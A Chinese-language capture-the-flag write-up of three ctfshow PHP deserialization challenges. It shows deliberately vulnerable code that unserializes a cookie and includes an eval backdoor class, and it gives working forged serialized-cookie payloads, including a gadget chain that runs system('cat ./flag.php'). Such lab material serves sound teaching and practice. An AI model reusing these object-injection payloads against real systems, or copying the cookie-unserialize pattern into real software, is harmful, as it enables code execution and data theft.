ctfshow web255 web 256 web257

目录

web255

web256

web257

---

web255

附代码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

整体的思路和上一题差不多只是多了一句

$user = unserialize($_COOKIE['user']); 

可以看到unserialize就是反序列化，所以需要我们序列化一些东西，通过cookie的user变量传入，改变这个数据。

    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;

这段代码无法让isVip为true，所以我们就需要通过user这个变量改变isVip的值。

直接把类拿过来，只有类和变量会被反序列化，其他都可以去掉。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
​
}
echo(urlencode(serialize(new ctfShowUser())));
?>

所以参入参数就是

拿到flag，债见！！

web256

附代码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

​

这个题的关键点在于username和password不相等，因为都是强比较，所以我们传入的username和password值不同即可，这时候注意cookie中参入的user的username和password也要改

所以我们这时候传入的应该是

?username=1&password=2

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=true;
​
}
echo(urlencode(serialize(new ctfShowUser())));
?>

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

拿到flag，债见！

web257

附代码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这个题开始涉及反序列化的魔术方法了，我前面有文章写过php反序列化常用魔术方法的介绍

我们看回这个题，最后我们要用到的是backDoor类中的eval函数，来执行命令

结合上一个题的方法，循序渐进的看这个题，construct方法在初始化一个类的时候被触发，这里的construct方法会初始化info()这个类，在销毁时候触发destruct方法，destruct方法触发会调用info()类中的getInfo方法，然后返回user对象的值，这里我们看到我们想要调用的backDoor类中的方法也叫getInfo()，所以我们可以在序列化的时候把__construct方法初始化的类从info改为backDoor。

具体的实施方法如下：

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code='system("cat ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
echo(urlencode(serialize(new ctfShowUser())));

还是老规矩

?username=xxxxxx&password=xxxxxx

Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%22cat+.%2Fflag.php%22%29%3B%22%3B%7D%7D

拿到flag，债见！！